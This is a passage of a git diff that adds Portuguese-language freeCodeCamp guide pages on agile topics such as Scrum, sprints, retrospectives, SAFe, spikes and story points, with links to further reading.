+---
+## Processo Racional Unificado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/rational-unified-process/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/release-planning/index.md b/client/src/guide/portuguese/agile/release-planning/index.md
new file mode 100644
index 0000000000..3179eb50d3
--- /dev/null
+++ b/client/src/guide/portuguese/agile/release-planning/index.md
@@ -0,0 +1,11 @@
+---
+title: Release Planning
+localeTitle: Planejamento de Liberação
+---
+## Planejamento de Liberação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/release-planning/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/release-trains/index.md b/client/src/guide/portuguese/agile/release-trains/index.md
new file mode 100644
index 0000000000..c28daa13a1
--- /dev/null
+++ b/client/src/guide/portuguese/agile/release-trains/index.md
@@ -0,0 +1,19 @@
+---
+title: Release Trains
+localeTitle: Trens de liberação
+---
+## Trens de liberação
+
+O Release Train (também conhecido como Agile Release Train ou ART) é uma equipe de equipes Agile que, juntamente com outras partes interessadas, desenvolve e fornece soluções de forma incremental, usando uma série de Iterações de comprimento fixo dentro de um Incremento de Programa ( PI) timebox. O ART alinha equipes para uma missão comum de negócios e tecnologia.
+
+## Detalhes
+
+Os ARTs são multifuncionais e possuem todos os recursos necessários - software, hardware, firmware e outros - necessários para definir, implementar, testar e implantar novas funcionalidades do sistema. Um ART opera com o objetivo de alcançar um fluxo contínuo de valor.
+
+Os ARTs incluem as equipes que definem, criam e testam recursos e componentes. As equipes SAFe têm uma escolha de práticas ágeis, baseadas principalmente em Scrum, XP e Kanban. As práticas de qualidade de software incluem integração contínua, teste inicial, refatoração, trabalho em pares e propriedade coletiva. A qualidade do hardware é suportada por iterações iniciais exploratórias, integração frequente em nível de sistema, verificação de design, modelagem e Design Baseado em Conjunto.
+
+A arquitetura ágil suporta a qualidade de software e hardware. Cada equipe do Agile tem de cinco a nove colaboradores individuais dedicados, cobrindo todas as funções necessárias para criar um incremento de valor de qualidade para uma iteração. As equipes podem entregar software, hardware e qualquer combinação. E, claro, as equipes ágeis dentro do ART são elas próprias multifuncionais.
+
+#### Mais Informações:
+
+[Agilidade Escalada](http://www.scaledagileframework.com/agile-release-train/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/retrospectives/index.md b/client/src/guide/portuguese/agile/retrospectives/index.md
new file mode 100644
index 0000000000..b3f3f2b9c9
--- /dev/null
+++ b/client/src/guide/portuguese/agile/retrospectives/index.md
@@ -0,0 +1,43 @@
+---
+title: Retrospectives
+localeTitle: Retrospectivas
+---
+## Retrospectivas
+
+A Retrospectiva da Sprint pode realmente ser a mais útil e importante das cerimônias scrum.
+
+O conceito de _"inspecionar e adaptar"_ é crucial para criar uma equipe bem-sucedida e próspera.
+
+A agenda padrão da retrospectiva é:
+
+*   O que continuamos fazendo?
+*   O que nós paramos de fazer?
+*   O que nós começamos a fazer?
+*   Quem queremos dizer obrigado a? (Não é necessário, mas boa prática)
+
+E a partir dessa discussão, a equipe cria uma lista de comportamentos em que trabalham, coletivamente, ao longo do tempo.
+
+Ao se comprometer com itens de ação, certifique-se de focar em 1 a 3. É melhor fazer um par do que se comprometer com mais e não fazê-lo. Se for difícil criar ações, tente executar experimentos: Anote o que você fará e o que você deseja alcançar com isso. No seguinte retro verifique se o que você fez conseguiu o que você tinha planejado. Caso contrário, você pode aprender com o experimento e experimentar outra coisa.
+
+Uma boa abordagem para descobrir quais tópicos devem ser discutidos é _"Discutir e mencionar"_ . Consiste em uma placa com tantas colunas quantas as pessoas da equipe (você pode usar algo como o Trello ou apenas uma lousa comum) e mais duas para as coisas "discutirem" e aquelas a serem "mencionadas". Todo mundo tem 10 minutos para preencher sua coluna com coisas do último sprint que eles querem destacar (estes são representados com cartas ou Post-it). Depois, cada membro da equipe explica cada um dos seus próprios itens. Finalmente, cada membro da equipe escolhe quais tópicos eles acham que devem ser mencionados ou discutidos, movendo o cartão / post-it para a coluna respectiva. A equipe decide quais tópicos devem ser discutidos e fala sobre eles por cerca de 10 minutos.
+
+Convide a equipe do scrum somente para a Retrospectiva. (Equipe de Entrega, Dono do Produto, Scrum Master). Desencorajar gerentes, partes interessadas, parceiros de negócios, etc. Eles são uma distração e podem impedir a sensação de abertura de que a equipe precisa.
+
+Ao realizar uma retrospectiva, certifique-se de que, nos primeiros 5 a 10 minutos, todos digam pelo menos algumas palavras. Quando os membros da equipe falam no início da reunião, é mais provável que eles contribuam durante toda a reunião.
+
+Durante a retrospectiva, é importante que a equipe continue produtiva. Uma maneira simples de manter as pessoas de bom humor é se concentrar no que está no controle da equipe.
+
+*   Para uma equipe co-localizada, os cartões de índice e o trabalho de postagem são ótimos para esse processo.
+*   Para equipes distribuídas, há uma variedade de ferramentas e aplicativos on-line para facilitar a discussão
+*   https://www.senseitool.com/home
+*   http://www.leancoffeetable.com/
+
+Os itens de ação devem ser anotados em uma placa para tornar o acompanhamento do progresso visual e mais distinto. Toda nova retrospectiva deve começar com a revisão do status dos itens de ação decididos durante a retrospectiva _anterior_ .
+
+#### Mais Informações:
+
+*   Inspirações para preparar uma retrospectiva:
+*   https://plans-for-retrospectives.com/en/
+*   http://www.funretrospectives.com/
+*   Como executar experimentos com o fluxo de pipoca:
+*   https://www.slideshare.net/cperrone/popcornflow-evolution-evolution-through-ultrarapid-experimentation
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/safe/index.md b/client/src/guide/portuguese/agile/safe/index.md
new file mode 100644
index 0000000000..381b484f0a
--- /dev/null
+++ b/client/src/guide/portuguese/agile/safe/index.md
@@ -0,0 +1,39 @@
+---
+title: SAFe
+localeTitle: Seguro
+---
+## Seguro
+
+SAFe significa "Scaled Agile Framework" e é uma estrutura de desenvolvimento de software ágil projetada para o desenvolvimento ágil de larga escala envolvendo muitas equipes.
+
+O site principal ( [http://www.scaledagileframework.com/](http://www.scaledagileframework.com/) ) é uma base de conhecimento on-line disponível gratuitamente para a implementação do SAFe.
+
+## Princípios
+
+Existem nove princípios básicos para o SAFe
+
+1.  **Adote uma visão econômica** - avalie os custos econômicos de decisões, desenvolvimentos e riscos
+2.  **Aplique o pensamento sistêmico** - os processos de desenvolvimento são interações entre os sistemas utilizados pelos trabalhadores e, portanto, precisam visualizar o progresso com o pensamento sistêmico
+3.  **Assumir variabilidade; preservar opções** - mudança de requisitos, flexibilidade e uso de dados empíricos para estreitar o foco
+4.  **Construa de forma incremental com ciclos de aprendizado rápidos e integrados** - construções rápidas e incrementais permitem um feedback rápido para alterar o projeto, se necessário
+5.  **Marcos básicos na avaliação objetiva de sistemas de trabalho** - avaliação objetiva fornece informações importantes, como finanças e governança, como feedback
+6.  **Visualize e limite o WIP, reduza o tamanho dos lotes e gerencie os comprimentos das filas** - faça isso para obter um fluxo contínuo para mover-se rapidamente e visualizar o progresso; WIP = trabalho em andamento
+7.  **Aplicar cadência, sincronizar com o planejamento entre domínios** - a cadência está definindo as datas em que certos eventos acontecem (por exemplo, liberar semanalmente) e a sincronização garante que todos tenham os mesmos objetivos em mente
+8.  **Desbloquear a motivação intrínseca dos trabalhadores do conhecimento** - as pessoas trabalham melhor quando você faz uso de suas motivações pessoais
+9.  **Descentralizar a tomada de decisão** - permite uma ação mais rápida, que pode não ser a melhor solução, mas permite uma comunicação mais rápida entre as equipes; tomadas de decisões centralizadas podem ser necessárias para decisões mais estratégicas ou globais
+
+## Configurações
+
+Existem quatro variações do SAFe, variando em complexidade e necessidades do seu projeto:
+
+1.  SAFe essencial
+2.  Portfólio SAFe
+3.  Solução Grande SAFe
+4.  SAFe Completo
+
+#### Mais Informações:
+
+*   [Estrutura ágil escalonada](https://en.wikipedia.org/wiki/Scaled_Agile_Framework)
+*   [O que é SAFe?](http://www.scaledagileframework.com/what-is-safe/)
+*   [Os dez elementos essenciais](http://www.scaledagileframework.com/essential-safe/)
+*   [Princípios SAFe](http://www.scaledagileframework.com/safe-lean-agile-principles/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/scrum/index.md b/client/src/guide/portuguese/agile/scrum/index.md
new file mode 100644
index 0000000000..9c4e592676
--- /dev/null
+++ b/client/src/guide/portuguese/agile/scrum/index.md
@@ -0,0 +1,46 @@
+---
+title: Scrum
+localeTitle: Scrum
+---
+## Scrum
+
+O Scrum é uma das metodologias sob o guarda-chuva Agile. O nome é derivado de um método de retomada do jogo no esporte de rugby, no qual toda a equipe se move em conjunto para fazer o chão. Da mesma forma, um scrum no Agile envolve todas as partes da equipe trabalhando no mesmo conjunto de metas. No método scrum, uma lista de tarefas priorizadas é apresentada à equipe e, ao longo de um "sprint" (geralmente duas semanas), essas tarefas são concluídas, em ordem, pela equipe. Isso garante que as tarefas ou entregas de maior prioridade sejam concluídas antes que o tempo ou os recursos acabem.
+
+### Componentes de um Scrum
+
+O Scrum é uma das metodologias sob o guarda-chuva Agile. Ele se origina do "scrummage", que é um termo usado no rugby para denotar os jogadores que se amontoam para obter a posse da bola. A prática gira em torno
+
+*   Um conjunto de funções (equipe de entrega, product owner e scrum master)
+*   Cerimônias (planejamento de sprint, standup diário, revisão de sprint, retrospectiva de sprint e preparação de backlog)
+*   Artefatos (lista de pendências de produtos, lista não processada de sprint, incremento de produto e informações de irradiadores e relatórios).
+*   O principal objetivo é manter a equipe alinhada ao progresso do projeto para facilitar a iteração rápida.
+*   Muitas organizações optaram pelo Scrum, porque ao contrário do modelo Waterfall, ele garante uma entrega no final de cada Sprint.
+
+## Artefatos
+
+*   Sprint: É a duração do tempo, principalmente em semanas, para a qual uma equipe trabalha para alcançar ou criar uma entrega. Um produto final pode ser definido como um pedaço de código de fragmento do Produto Final que a equipe deseja obter. O Scrum aconselha a manter a duração de um Sprint entre 2-4 semanas.
+*   Product Backlog: É a lista de tarefas que uma equipe deve concluir dentro do Sprint atual. É decidido pelo Dono do Produto, de acordo com a Gerência e a Equipe de Entrega.
+
+## Papéis
+
+*   Product Owner (PO): A ÚNICA Pessoa Responsável para a Administração. O PO decide o que entra ou sai do Product Backlog.
+*   Equipe de entrega: Eles são obrigados a trabalhar de acordo com as tarefas definidas pelo seu PO no backlog do produto e a entregar a exclusão necessária no final do sprint.
+*   Scrum Masters: - O Scrum Master's tem que aderir estritamente ao Scrum Guide e fazer a equipe entender a necessidade de aderir ao Scrum Guide ao seguir o Scrum. É um trabalho do Scrum Master garantir que todas as cerimônias do Scrum sejam conduzidas no prazo e participadas por todas as pessoas necessárias, de acordo com o guia do scrum. O SM deve garantir que o Daily Scrum seja realizado regularmente e participado ativamente pela equipe.
+
+#### Mais Informações:
+
+Existem várias ferramentas online que podem ser usadas para fazer scrum para sua equipe:
+
+*   [Scrum Do](https://www.scrumdo.com/)
+*   [Asana](http://www.asana.com)
+*   [Trello](http://trello.com)
+*   [Segunda-feira](https://monday.com)
+*   [Campo de base](https://basecamp.com)
+*   [Airtable](https://airtable.com)
+*   [Folha inteligente](https://www.smartsheet.com)
+
+Aqui estão mais alguns recursos:
+
+*   [Por que Scrum](https://www.scrumalliance.org/why-scrum) da Aliança Scrum
+*   [Guia](http://www.scrumguides.org/scrum-guide.html) do [Scrum](http://www.scrumguides.org/scrum-guide.html) no Scrum.org
+*   [Fazendo vs sendo ágil](http://agilitrix.com/2016/04/doing-agile-vs-being-agile/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/scrummasters/index.md b/client/src/guide/portuguese/agile/scrummasters/index.md
new file mode 100644
index 0000000000..ee88912b09
--- /dev/null
+++ b/client/src/guide/portuguese/agile/scrummasters/index.md
@@ -0,0 +1,34 @@
+---
+title: Scrummasters
+localeTitle: Scrummasters
+---
+## Scrum Master
+
+O Scrum Master é responsável por garantir que o Scrum seja compreendido e promulgado. Os Scrum Masters fazem isso garantindo que o Time Scrum adira à teoria, práticas e regras do Scrum.
+
+O Scrum Master é um líder-servo do Time Scrum. O Scrum Master ajuda aqueles que estão fora do Time Scrum a entender quais de suas interações com o Time Scrum são úteis e quais não são. O Scrum Master ajuda todos a mudar essas interações para maximizar o valor criado pelo Time Scrum.
+
+### Trabalho do Scrum Master
+
+*   Facilitando (não participando) do standup diário
+*   Ajudando a equipe a manter seu quadro de burndown
+*   Configurando retrospectivas, análises de sprint ou sessões de planejamento de sprint
+*   Protegendo o time de interrupções durante o sprint
+*   Removendo obstáculos que afetam a equipe
+*   Andando com o proprietário do produto através de histórias de usuários mais técnicas
+*   Encorajando a colaboração entre a equipe Scrum e o product owner.
+
+Normalmente, um Scrummaster perguntará as seguintes questões:
+
+1.  O que você fez ontem?
+2.  O que você vai fazer hoje?
+3.  Existe alguma coisa que pare seu progresso?
+
+Os Scrum Masters fazem parte de uma equipe Agile. Eles podem ser desenvolvedores ou outros membros funcionais (usando vários chapéus) ou funcionando individualmente como um único papel em uma equipe. Seu principal objetivo é aprimorar o desenvolvimento usando o framework Scrum.
+
+Muitas vezes, o papel deles é: orientar o planejamento do sprint, monitorar o standup diário, realizar retrospectivas, garantir que a velocidade esteja presente, ajudar no escopo dos Sprints.
+
+#### Mais Informações:
+
+*   [O que é um Scrum Master?](https://www.scrum.org/resources/what-is-a-scrum-master)
+*   [Guia Scrum](https://www.scrum.org/resources/scrum-guide)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/self-organization/index.md b/client/src/guide/portuguese/agile/self-organization/index.md
new file mode 100644
index 0000000000..cdb3c38411
--- /dev/null
+++ b/client/src/guide/portuguese/agile/self-organization/index.md
@@ -0,0 +1,25 @@
+---
+title: Self Organization
+localeTitle: Auto Organização
+---
+## Auto Organização
+
+Para manter a alta dinâmica e agilidade dos projetos desenvolvidos, todos os membros da equipe devem compartilhar a responsabilidade pelo produto que está sendo desenvolvido.
+
+As estruturas organizacionais orientadas verticalmente provaram-se lentas e inflexíveis com muitos níveis de tomada de decisão. Se uma equipe quer agir rápido e reagir dinamicamente a um ambiente em constante mudança, a estrutura organizacional precisa ser plana, com os membros se sentindo fortemente responsáveis ​​por sua contribuição para o projeto.
+
+Isso não significa que o gerenciamento seja um processo obsoleto em uma equipe ágil e auto-organizada. Ela tem apenas uma característica diferente da abordagem tradicional (especialmente em grandes organizações, mas não apenas), provando ser mais eficaz quando mais solidária e consultiva do que despótica e direta.
+
+A base da auto-organização é a confiança e o comprometimento dos membros da equipe.
+
+As equipes de scrum são auto-organizadas. Isso significa que o trabalho feito e, geralmente, a maneira como é feito é deixado para a equipe decidir - eles são capacitados por seus gerentes a se guiarem nas maneiras que os tornam mais eficazes. Os membros da equipe (equipe de entrega, proprietário do produto e Scrum Master) inspecionam regularmente seus comportamentos para melhorar continuamente.
+
+Durante o Planejamento da Sprint, a equipe examinará o backlog do produto (que será priorizado pelo proprietário do produto) e decidirá quais histórias eles irá trabalhar no próximo sprint e as tarefas que precisarão ser concluídas para marcar a história como Concluída. A equipe estimará uma pontuação ou tamanho para o história para denotar esforço.
+
+Durante um sprint, cabe aos membros da equipe coletar histórias de backlog de sprint para trabalhar, geralmente eles escolhem aqueles que pensam que podem alcançar. Por ser uma equipe auto-organizada, não deve ser atribuída uma tarefa a um membro da equipe por outra pessoa.
+
+#### Mais Informações:
+
+*   Scrum.org no [Scrum Promoting Self Organization](https://www.scrum.org/resources/blog/how-does-scrum-promote-self-organization)
+*   Scrum.org no [Scrum Roles promovendo a auto-organização](https://www.scrum.org/resources/blog/how-do-3-scrum-roles-promote-self-organization)
+*   Aliança Scrum sobre o [que e como de auto-organização](https://scrumalliance.org/community/articles/2013/january/self-organizing-teams-what-and-how)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/spikes/index.md b/client/src/guide/portuguese/agile/spikes/index.md
new file mode 100644
index 0000000000..cd12e8e8bb
--- /dev/null
+++ b/client/src/guide/portuguese/agile/spikes/index.md
@@ -0,0 +1,22 @@
+---
+title: Spikes
+localeTitle: Espigões
+---
+## Espigões
+
+Nem tudo em que sua equipe trabalha durante o Sprint são Estórias de Usuário. Às vezes, uma história de usuário não pode ser efetivamente estimada ou a pesquisa é necessária. Talvez seja necessária ajuda para decidir entre diferentes arquiteturas, para descartar alguns riscos, ou pode ser uma Prova de Conceito (POC) para demonstrar uma capacidade.
+
+Nestes casos, um Spike é adicionado ao Sprint Backlog. Os Critérios de Aceitação para o Spike devem ser uma resposta para a questão que está sendo colocada. Se o experimento é mais difícil do que o previsto, talvez a resposta seja negativa. (É por isso que o Spike deve ser limitado no tempo.)
+
+O tempo e a energia investidos no Spike são limitados intencionalmente para que o trabalho possa ser concluído dentro do Sprint, enquanto outras Estórias de Usuário são minimamente impactadas. O Spike geralmente não recebe uma estimativa de ponto de história, mas recebe um número fixo de horas para ser trabalhado.
+
+Demonstrar os resultados do Spike na Sprint Review. Com base nas novas informações, a pergunta original é reformulada como uma nova história de usuário em um futuro Sprint.
+
+Seu time ganhou as informações necessárias para tomar melhores decisões; para reduzir a incerteza. Com uma quantidade pequena e medida de seus recursos para aumentar a qualidade e o valor do trabalho em Sprints futuros, em vez de tomar decisões baseadas em suposições.
+
+#### Mais Informações:
+
+*   [Picos de](https://www.mountaingoatsoftware.com/blog/spikes) software de cabra de montanha
+*   Fórum Scrum.org [Como Integrar um Spike](https://www.scrum.org/forum/scrum-forum/5512/how-integrate-spike-scrum)
+*   [Pontos de](https://www.scrumalliance.org/community/articles/2013/march/spikes-and-the-effort-to-grief-ratio) Aliança Scrum [e Relação Esforço-a-Sofrimento](https://www.scrumalliance.org/community/articles/2013/march/spikes-and-the-effort-to-grief-ratio)
+*   [Spike da](https://en.wikipedia.org/wiki/Spike_(software_development)) Wikipedia
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sprint-backlog/index.md b/client/src/guide/portuguese/agile/sprint-backlog/index.md
new file mode 100644
index 0000000000..c46a9892d7
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sprint-backlog/index.md
@@ -0,0 +1,13 @@
+---
+title: Sprint Backlog
+localeTitle: Backlog do Sprint
+---
+## Backlog do Sprint
+
+O Sprint Backlog é uma lista de tarefas identificadas pelo Time Scrum a serem completadas durante o Scrum Sprint. Durante a reunião de Planejamento da Sprint, a equipe seleciona vários itens do Backlog do Produto, geralmente na forma de histórias do usuário, e identifica as tarefas necessárias para concluir cada história do usuário.
+
+É fundamental que a própria equipe selecione os itens e o tamanho do Backlog da Sprint. Como são as pessoas que implementam / concluem as tarefas, elas devem ser as pessoas a escolher o que estão esperando para obter durante o Sprint.
+
+#### Mais Informações:
+
+[Guia do Scrum: Sprint Backlog](http://www.scrumguides.org/scrum-guide.html#artifacts-sprintbacklog)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sprint-planning-meetings/index.md b/client/src/guide/portuguese/agile/sprint-planning-meetings/index.md
new file mode 100644
index 0000000000..59c0f17151
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sprint-planning-meetings/index.md
@@ -0,0 +1,30 @@
+---
+title: Sprint Planning Meeting
+localeTitle: Reunião de planejamento de sprint
+---
+## Reunião de planejamento de sprint
+
+O Planejamento da Sprint é facilitado pelo Scrum Master da equipe e consiste no Time Scrum: Equipe de Desenvolvimento, Product Owner (PO) e Scrum Master (SM). O objetivo é planejar um subconjunto de itens do Backlog do Produto em um Backlog do Sprint. O Scrum Sprint normalmente é iniciado após a reunião de Planejamento da Sprint.
+
+### Parte principal
+
+É de grande valor para a equipe dividir a reunião em duas partes, fazendo estas duas perguntas:
+
+*   **O** que a equipe deve planejar para o próximo Sprint?
+*   **Como** a equipe deve (aproximadamente) levar os itens planejados?
+
+#### o que
+
+Em que fase a equipe começa com a parte superior do Backlog do produto solicitado. A equipe, pelo menos, estima implicitamente os itens, prevendo o que eles poderiam levar para o Sprint Backlog. Se necessário, eles poderiam perguntar / discutir itens com o PO, que deve estar no local para essa reunião.
+
+#### Como
+
+Em Como fase, a equipe discute em breve cada item escolhido do Sprint Backlog com o foco em como eles serão processados. A SM ajuda a equipe a não aprofundar os detalhes de discussão e implementação. É muito provável e bom se mais perguntas ao PO forem feitas ou refinamentos nos itens, ou se o backlog for feito pela equipe.
+
+### Meta da Sprint / Encerramento
+
+A equipe deve criar uma meta de Sprint compartilhada para o Sprint para manter o foco na caixa de tempo da Sprint. No final do planejamento da sprint, a equipe prevê que pode atingir a meta da sprint e concluir, provavelmente, todos os itens do backlog da sprint. O SM deve evitar que a equipe superestime fornecendo insights ou estatísticas úteis.
+
+#### Mais Informações:
+
+[Guia do Scrum: Planejamento da Sprint](http://www.scrumguides.org/scrum-guide.html#events-planning) [Folha de Dicas Simples para Reuniões de Planejamento da Sprint](https://www.leadingagile.com/2012/08/simple-cheat-sheet-to-sprint-planning-meeting/) [Quatro etapas para um melhor planejamento da sprint](https://www.atlassian.com/blog/agile/sprint-planning-atlassian)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sprint-planning/index.md b/client/src/guide/portuguese/agile/sprint-planning/index.md
new file mode 100644
index 0000000000..e8b2959887
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sprint-planning/index.md
@@ -0,0 +1,19 @@
+---
+title: Sprint Planning
+localeTitle: Planejamento de sprint
+---
+## Planejamento de sprint
+
+No Scrum, a reunião de planejamento do sprint é acompanhada pelo proprietário do produto, ScrumMaster e toda a equipe do Scrum. As partes interessadas externas podem participar por convite da equipe, embora isso seja raro na maioria das empresas. Durante a reunião de planejamento de sprint, o proprietário do produto descreve os recursos de maior prioridade para a equipe. A equipe faz perguntas suficientes para transformar uma história de usuário de alto nível do backlog do produto em tarefas mais detalhadas do backlog da sprint.
+
+Existem dois artefatos definidos que resultam de uma reunião de planejamento de sprint:
+
+*   Um gol de sprint
+*   Um backlog de sprint
+
+O planejamento da sprint tem o prazo de no máximo oito horas para um Sprint de um mês. Para sprints mais curtos, o evento geralmente é mais curto. O Scrum Master garante que o evento ocorra e que os participantes entendam o seu propósito. O Scrum Master ensina o Time Scrum a mantê-lo dentro da caixa de tempo.
+
+#### Mais Informações:
+
+*   https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-planning-meeting
+*   [Guia Scrum](http://www.scrumguides.org/scrum-guide.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sprint-review/index.md b/client/src/guide/portuguese/agile/sprint-review/index.md
new file mode 100644
index 0000000000..0a78b7b5da
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sprint-review/index.md
@@ -0,0 +1,29 @@
+---
+title: Sprint Review
+localeTitle: Revisão de Sprint
+---
+## Revisão de Sprint
+
+A Sprint Review é uma das principais cerimônias do Scrum (juntamente com o Sprint Planning, o Daily Stand Up, a Retrospective e o Grooming).
+
+No final do Sprint, sua equipe Scrum hospeda uma sessão "Convide o Mundo" para mostrar o que acaba de ser Concluído e Aceito. Convidados são o Time Scrum, Stakeholders, Gerentes, Usuários; qualquer pessoa interessada no projeto.
+
+Manter essas sessões a cada Sprint é importante. Pode ser uma mudança de mentalidade; mostrando trabalhos inacabados para seus gerentes e partes interessadas. Mas no conceito de "Fail Fast", há um valor incrível em obter feedback sobre seu trabalho incremental. Sua equipe pode corrigir o curso, se necessário, minimizando o trabalho perdido.
+
+Como o Product Owner (PO) está frequentemente apresentando na Sprint Review, o Scrum Master geralmente captura o feedback, talvez facilite as discussões, e então trabalha com o PO para obter novas User Stories adicionadas ao Backlog e priorizadas.
+
+A agenda também pode incluir uma revisão do Backlog (incluindo valor e prioridade), o que está programado para a próxima Iteração ou duas e o que pode ser removido do Backlog.
+
+**IMPORTANTE** A Revisão da Sprint é completamente diferente da Retrospectiva. A Retrospectiva é estritamente para o time Scrum (Scrum Master, PO e Delivery Team). As outras partes convidadas para a Revisão são dispensadas e provavelmente interferirão na Retrospectiva. (Sim, incluindo gerentes.)
+
+#### Mais Informações:
+
+Ken Rubin da Innolution [Stop chamando sua Sprint Revise uma demonstração](https://www.scrumalliance.org/community/spotlight/ken-rubin/january-2015/stop-calling-your-sprint-review-a-demo%E2%80%94words-matte)
+
+Scrum.org [O que é uma revisão do Sprint?](https://www.scrum.org/resources/what-is-a-sprint-review)
+
+[Reunião de Revisão de Sprint de](https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-review-meeting) Software de Cabra de Montanha
+
+Atlassian [Três Passos para Melhores Sprints](https://www.atlassian.com/blog/agile/sprint-review-atlassian)
+
+[Revisão](https://age-of-product.com/sprint-review-anti-patterns/) do Age of Product [Sprint Anti-Patterns](https://age-of-product.com/sprint-review-anti-patterns/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sprints/index.md b/client/src/guide/portuguese/agile/sprints/index.md
new file mode 100644
index 0000000000..f975707496
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sprints/index.md
@@ -0,0 +1,21 @@
+---
+title: Sprints
+localeTitle: Sprints
+---
+## Sprints
+
+No Scrum, o **Sprint** é um período de tempo de trabalho geralmente entre uma e quatro semanas em que a equipe de entrega trabalha em seu projeto. Sprints são iterativos e continuam até que o projeto seja concluído. Cada sprint começa com uma sessão de planejamento da sprint e termina com as reuniões de revisão da sprint e retrospectiva. O uso de sprints, em oposição a uma cascata de meses de duração ou a metodologias lineares de desenvolvimento sequencial, permite ciclos de feedback regulares entre proprietários de projetos e partes interessadas na saída da equipe de entrega.
+
+## Propriedades de um Sprint
+
+As impressões devem permanecer no mesmo período de tempo pré-determinado ao longo da duração do projeto. A equipe trabalha para dividir as Estórias de Usuário em um tamanho que pode ser concluído dentro da duração do Sprint sem passar para o próximo. - "Sprint" e "Iteração" são freqüentemente usados ​​de forma intercambiável.
+
+#### Mais Informações:
+
+*   Aliança Ágil em [Iterações](https://www.agilealliance.org/glossary/iteration/)
+*   Agile Alliance on [Timeboxes](https://www.agilealliance.org/glossary/timebox/)
+*   Treinador Ágil na [Sprint vs Iteração](http://agilecoach.typepad.com/agile-coaching/2014/02/sprint-vs-iteration.html)
+*   [Timeboxing da](https://www.scrumalliance.org/community/articles/2014/february/timeboxing-a-motivational-factor-for-scrum-teams) Scrum Alliance [como um fator motivacional](https://www.scrumalliance.org/community/articles/2014/february/timeboxing-a-motivational-factor-for-scrum-teams)
+*   Scrum Alliance [Sprint é mais do que apenas um Timebox](https://www.scrumalliance.org/community/articles/2014/may/sprint-is-more-than-just-a-timebox)
+*   Scrum Inc [O que é o Timebox?](https://www.scruminc.com/what-is-timeboxing/)
+*   Scrum.org [O que é um Sprint no Scrum?](https://www.scrum.org/resources/what-is-a-sprint-in-scrum)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/stakeholders/index.md b/client/src/guide/portuguese/agile/stakeholders/index.md
new file mode 100644
index 0000000000..dcd3d830e0
--- /dev/null
+++ b/client/src/guide/portuguese/agile/stakeholders/index.md
@@ -0,0 +1,22 @@
+---
+title: Stakeholders
+localeTitle: Stakeholders
+---
+## Stakeholders
+
+Os Stakeholders são as pessoas que se beneficiarão do seu projeto. Cabe ao dono do produto compreender o resultado exigido pelos Stakeholders e comunicar essa necessidade à equipe de entrega. As partes interessadas podem ser constituídas por qualquer um dos seguintes
+
+*   Comercial
+*   clientes
+*   Gerentes
+*   Financiadores / investidores
+
+Sua participação no projeto é essencial para o sucesso.
+
+Por exemplo, quando sua equipe está realizando as reuniões da Sprint Review, a demonstração do projeto é para as partes interessadas, e seu feedback é capturado e adicionado ao backlog.
+
+#### Mais Informações:
+
+*   [Participantes do](https://www.scrumstudy.com/blog/stakeholders-in-scrum/) Estudo [Scrum no Scrum](https://www.scrumstudy.com/blog/stakeholders-in-scrum/)
+*   [Principais partes interessadas do](https://www.scrum.org/resources/blog/scrum-who-are-key-stakeholders-should-be-attending-every-sprint-review) Scrum.org
+*   Modelagem ágil [Participação ativa das partes interessadas](http://agilemodeling.com/essays/activeStakeholderParticipation.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/story-points-and-complexity-points/index.md b/client/src/guide/portuguese/agile/story-points-and-complexity-points/index.md
new file mode 100644
index 0000000000..c9b309a89c
--- /dev/null
+++ b/client/src/guide/portuguese/agile/story-points-and-complexity-points/index.md
@@ -0,0 +1,25 @@
+---
+title: Story Points and Complexity Points
+localeTitle: Pontos de História e Pontos de Complexidade
+---
+## Pontos de História e Pontos de Complexidade
+
+No Scrum / Agile, a funcionalidade de um produto em desenvolvimento é explorada por meio de **histórias que** um usuário pode contar sobre o que deseja de um produto. Uma equipe usa os **pontos de história** quando estimar a quantidade de esforço necessária para entregar uma história do usuário.
+
+Características notáveis ​​de pontos da história são que eles:
+
+*   representam as contribuições de toda a equipe
+*   não se equipara diretamente ao tempo que a tarefa pode levar
+*   são uma medida aproximada para fins de planejamento - semelhante a ordens de magnitude
+*   são atribuídos em uma seqüência semelhante a Fibonacci: 0, 1, 2, 3, 5, 8, 13, 20, 40, 100
+*   estimar o 'tamanho' das histórias em _relação umas às outras_
+
+O conceito de pontos de história pode ser bastante elusivo se você for novo em maneiras Ágeis de fazer as coisas. Você encontrará muitas fontes on-line discutindo pontos de história de diferentes maneiras, e pode ser difícil ter uma ideia clara do que elas são e como são usadas.
+
+Ao aprender sobre os princípios e a terminologia de práticas como o Scrum, as razões para algumas dessas propriedades se tornarão aparentes. O uso de pontos de história, especialmente em 'cerimônias' como o planejamento de pôquer, é muito mais fácil de entender observando ou participando do que em uma explicação por escrito!
+
+### Mais Informações:
+
